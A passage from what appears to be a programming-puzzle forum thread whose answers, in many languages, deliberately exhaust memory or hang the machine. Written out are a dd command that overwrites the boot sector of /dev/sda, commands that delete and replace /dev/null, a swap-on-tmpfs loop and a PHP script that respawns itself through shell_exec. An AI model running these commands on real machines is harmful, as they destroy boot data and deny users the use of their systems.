    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

Warning this may force you to reboot!

To remove it:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null

n0la

Posted 2014-03-18T22:17:51.460

Reputation: 101

6

Ruby

Everyone knows that sum(1/n^2) = pi^2/6

So I can define an approximation function:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

Of course the (1..infinity) will run wild.

Notice however that using lazy would make this work ;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456

aherve

Posted 2014-03-18T22:17:51.460

Reputation: 181

5

C - 28 25 characters (full program)

Don't run that one, or your system will quickly get frozen!

main(){while(malloc(9));}

The call to malloc will reserve 9 bytes of memory and request new memory pages from the operating system regularly. The memory allocated by malloc is immediately leaked as no pointer to the returned address is stored. Once the system has run out of memory (RAM and swap space) or the memory limit for the process is reached, the program will break out of the while-loop and terminate.

Mathieu Rodic

Posted 2014-03-18T22:17:51.460

Reputation: 1 170

2

Not for long - any reasonably modern system should have an OOM killer that kicks in and kills the process. At least Ubuntu 12.04 does.

– Digital Trauma – 2014-03-19T01:18:42.627

1Well, I crashed my Ubuntu 13.10 while trying this code... – Mathieu Rodic – 2014-03-19T06:59:28.927

@DigitalTrauma Does e.g. FreeBSD have an OOMK? – Ruslan – 2014-03-23T05:57:37.637

1main(){while(malloc(9));} saves another 3 characters, and fills my memory pretty much instantaneously. – gmatht – 2014-03-24T19:04:38.727

@gmatht: thanks for the suggestion! I edited the answer... though I liked the idea of increasing the size of the block on every loop. – Mathieu Rodic – 2014-03-24T20:28:45.620

4

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

We are creating a dicionary that point to itself. Then we think that we destroy the dictionary by setting it to Nothing. However, the dictionary still exists in memory because it has a valid (circular) reference.

The loop, but also the memory hog, causes the program to hang. After shutdown of the program, the memory is still in use. The system can only be restored by restarting it.

AutomatedChaos

Posted 2014-03-18T22:17:51.460

Reputation: 291

Uh, really? VBScript doesn't just use VB.NET under the hood? Circular references aren't normally problems for garbage collectors, except for simple reference count implementations, and termination of the program should result in releasing its entire heap, no? – David Conrad – 2014-03-21T20:18:40.840

@DavidConrad You would thinks so, but I had to restart my machine every time I investigated this and run this type of scripts. – AutomatedChaos – 2014-03-24T08:02:39.207

1VBScript predates VB.Net significantly - it isn't a command line version of VB.Net; it's an interpreted subset of legacy Visual Basic. – Chris J – 2014-03-24T13:07:23.367

Thanks, both of you. I didn't realize what the relationship was between VBScript and VB.NET. – David Conrad – 2014-03-24T19:44:57.620

4

Yes & tmpfs

Why write a new program when one comes for free with Ubuntu?

yes > /run/user/$UID/large_file_on_my_ramdisk

As you probably know, or have already guessed, Ubuntu mounts /run/user/ by default as a tmpfs which is a type of RAM disk.

You don't even have to close it. It will politely close itself, leaving a nice chunk of memory allocated. I presume yes is a single-threaded, single-process program that does not call any other (writing to an existing RAM disk is also trivially portable to the language of your choice).

It has a minor bug: Ubuntu limits the user writable tmpfs /run/1000 to 100 MB by default, so the swap death feature may not be supported on your machine out-of-the-box. However I managed to fix this on my machine with the following quick workaround:

sudo mount -o remount,size=10G tmpfs /run/user/

gmatht

Posted 2014-03-18T22:17:51.460

Reputation: 676

To find whether you have any tmpfs filesystems mounted, you can list them with df -t tmpfs. My Ubuntu system has a lovely large /run/shm available... – Toby Speight – 2016-01-25T18:05:37.610

I don't have a /run/user directory at all. What version of Ubuntu do you use and what did you install for this? – Ruslan – 2014-03-21T12:40:51.663

Ubuntu Trusty Tahr (14.04). No special install needed. – gmatht – 2014-03-22T04:57:38.783

4

Bash

Warning: The following code will make your computer unbootable.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

Warning: The preceding code will make your computer unbootable.

Replace /dev/sda with your boot drive. This writes E8 FD FF to the beggining of your boot sector. When booting, the BIOS reads your boot sector into memory and executes it. Those opcodes are equivalent to this assembly:

label:
  call label

This is infinite recursion, which will eventually cause a stack overflow.

Bob65536

Posted 2014-03-18T22:17:51.460

Reputation: 141

In your Assembly example, you could save a character(assuming the name "label" is necessary) by using jmp rather than call – SirPython – 2015-02-08T19:39:11.237

call leaves the return address on the stack for ret. jump wouldn't cause a stack overflow. – Jerry Jeremiah – 2015-02-10T09:47:26.370

3

Haskell

main=print $ sum [0..]

This tries to add up the counting numbers. Haskell does evaluate the partial sums, it just becomes an infinite addition statement. If you run the compiler with optimization flags, it may not work though.

PyRulez

Posted 2014-03-18T22:17:51.460

Reputation: 6 547

3

Bash

Since we can use utilities that aren't specifically designed to consume memory, I focus on a utility to free memory: swapon. This is used to allow the kernel to free up memory by writing to disk.

This script performs two optimizations: (1) Mounting tmp as tmpfs (a type of RAM disk) to make /tmp faster and (2) creating a swapfile to free up memory. Each of these are reasonable by themselves but if a careless user does both then it sets up an cycle of swapping: when the OS tries to swap out pages, it writes to the tmpfs; this makes the tmpfs use more memory; this increases the memory pressure causing more pages to be swapped out. This can take a few minutes on my VM, plenty of time for you to watch the system dig itself into a hole using top.

Closing the program makes little difference since the program itself allocates hardly any memory. Indeed it is not trivial to free memory since you can't free memory by unmounting the tmpfs before you swapoff the swapfile, and that is hard to do until you have freed memory.

This answer could be considered an cautionary tale against blinding applying cool tricks from the net without understanding them.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory

gmatht

Posted 2014-03-18T22:17:51.460

Reputation: 676

2

PHP (linux only):

This code is untested, since that I don't have a linux computer with php running.

But this is my proof of concept:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

This will fill the memory with huge RGBA images (10000x10000 pixels).

The only way to shut this baby down is shutting down the power.

The code is all commented.

Any improvement, doubt, bug or anything, use the comment box below.

Ismael Miguel

Posted 2014-03-18T22:17:51.460

Reputation: 6 797

Would anybody with access to linux mind testing it? Thanks :) – George – 2014-03-19T19:13:21.100

I have linux, I just am not sure how it will work. I provided the printscreen for the 1st answer, but that is a really old version of puppy linux. Ubuntu is too slow to run php. Maybe I test on my Android later. – Ismael Miguel – 2014-03-19T19:57:51.987

1it fails the point about not calling another program – Einacio – 2014-03-21T17:23:59.163

It's not calling another program: it's calling the same program that started the file for the same file. – Ismael Miguel – 2014-03-21T18:48:27.370

2

Perl

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

Uses circular references. The reference count for the variables will never reach 0, and the references will never be garbage collected.

You might need to be patient, but it is guaranteed to choke your system. The disk would start spinning faster and fumes might be visible.

devnull

Posted 2014-03-18T22:17:51.460

Reputation: 1 591

2

Python - 56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

Creates a class, defines a method for setting attributes, sets an attribute in it, and creates an initial instance which it then tries to set an attribute of.

A simple recursive function (def f(x):f(x)) seemed a bit unimaginative so I decided never to actually call a function.

Memory management might catch the recursion depth, but it really depends on the implementation.

If this is a fork bomb, please tell me.

cjfaure

Posted 2014-03-18T22:17:51.460

Reputation: 4 213

4This causes no memory exhaustion, just a: RuntimeError: maximum recursion depth exceeded while calling a Python object. Even setting the maximum recursion limit with sys.setrecursionlimit almost no memory is used before it crashes with a segmentation fault. – Bakuriu – 2014-03-20T19:16:42.927

@Bakuriu Like I said, it really depends on implementation (there are implementations of Python that convert to C(++) and compile, e.g. Shedskin, Nuitka). – cjfaure – 2014-03-20T21:25:24.043

2Then state for which particular implementation(s) you are writing the code. There is a difference between challenges where only the syntax matter and thus the implementation isn't relevant, and challenges that completely depend on how the language is implemented. – Bakuriu – 2014-03-20T21:31:43.473

2

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

Ungolfed:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

Note: It uses setTimeout, which is defined as part of Timers - the HTML Living Standard.

Try it on Mozilla Firefox (you could paste it in the developer console). Firefox keeps eating up more and more memory, and uses 100% of the CPU on a single-core machine (on a 4-core machine, like mine, it uses 25% of the CPU). It also has the added benefit that you can't stop it; if you can open task manager, you can kill Firefox with it.

Toothbrush

Posted 2014-03-18T22:17:51.460

Reputation: 3 197

1It uses 100% of a core. On your quadcore processor, that results in 25% of CPU usage. – Iván Pérez – 2014-03-21T10:45:20.513

@Electrosa Yes, you're absolutely correct. I've updated my answer. – Toothbrush – 2014-03-21T11:05:09.050

This is not a code golf question, please try to make your code readable. – Paŭlo Ebermann – 2014-03-24T15:18:39.527

@PaŭloEbermann OK. I've posted an ungolfed version. – Toothbrush – 2014-03-24T18:14:48.870

2

Perl

It's a simple one, but I felt like golfing it.

{$x=[$x];redo}

After two iterations, $x contains a reference to array containing a reference to array containing undef.

Memory usage is linear in time, with small allocations, but it only took several seconds to severely slow my window manager on my Ubuntu Linux system. Half a minute later the OOM killer took care of it.

aschepler

Posted 2014-03-18T22:17:51.460

Reputation: 717

1

Bash

Create an empty file test
Replace /dev/null/ with this text file

$ sudo mv test /dev/null

This works in a similar manner to @Comintern's answer. All the output to /dev/null will now be appended to this text file, which over time will get huge and crash the system.

Clyde Lobo

Posted 2014-03-18T22:17:51.460

Reputation: 1 395

1On systems where /dev is a devtmpfs, it may fill up and hinder the system. I'm guessing that's the intent of this answer. – Toby Speight – 2016-01-25T18:07:28.163

1A huge file would not crash the system. And assuming an average disk size of 500gb it would take a long time for the file to even get near to filling up the disk. – w4etwetewtwet – 2014-03-19T19:54:03.680

1

Bash: 7 chars

This should be the simplest bash solution. No forks, no cheating.

x=`yes`

You are advised not to run this as root.

Riot

Posted 2014-03-18T22:17:51.460

Reputation: 4 639

Additional note: even if you terminate this with ctrl-c midway, and then unset the variable, the memory remains allocated until the shell is killed. You can watch the carnage in top. – Riot – 2014-06-24T05:55:48.907

My own tests with bash 4.2.45(1) show that unset x does free the memory. pdksh also frees the memory, but ksh93 fails to free it, and exit in ksh93 dumps core. – kernigh – 2014-06-24T21:25:17.207

For me (bash 4.3.11(1)), the resident memory display in top for the parent shell climbs steadily until the yes is killed, at which point it just stays there, unset having no effect. But this is on a large memory system and having a variable that's several gigabytes does not seem to trouble it (until it finally decides to kill the shell). – Riot – 2014-06-25T06:56:30.477

0

C

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

Well it takes memory page after page and finally there is no memory left.

ST3

Posted 2014-03-18T22:17:51.460

Reputation: 1 279

How universal is a page being 4 KB? – Peter Mortensen – 2014-03-21T20:31:54.527

@Peter 4K is often size, but I cannot tell if it is really universal, but page size has no relationships with given question. – ST3 – 2014-03-21T21:19:10.273

1@ST3: You should make the memory page dirty. Most modern operating systems use virtual memory and just make a record in the virtual memory table, when you allocate memory. Writing a single byte to the memory page will already force the operating system to map the virtual memory page to physical memory. – foobar – 2014-03-21T23:34:46.737

0

C++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

Non-golfed

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

I fixed my entry to include call from main.

bacchusbeale

Posted 2014-03-18T22:17:51.460

Reputation: 1 235

This is a popularity contest. If the program works keep it the main and header. its fine. Also, could you post a non golfed version? Thanks :) – George – 2014-03-24T22:22:54.187

0

Ruby

a=[];loop{a<<a}

It just endlessly appends (recursive!) self-references to itself.

Found out about this little gem when someone broke my Ruby sandbox with it. :D

Demo of the recursive aspects of it:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 

user4740

Posted 2014-03-18T22:17:51.460

Reputation:

0

perl, 11 chars

I know this isn't code golf, but here's my code-golfy answer, which simply grows the stack indefinitely (you can do that in perl, unlike most C implementations).

sub l{l()}l

Be sure to set ulimit -v before running, it eats a gigabyte per second.

skibrianski

Posted 2014-03-18T22:17:51.460

Reputation: 1 197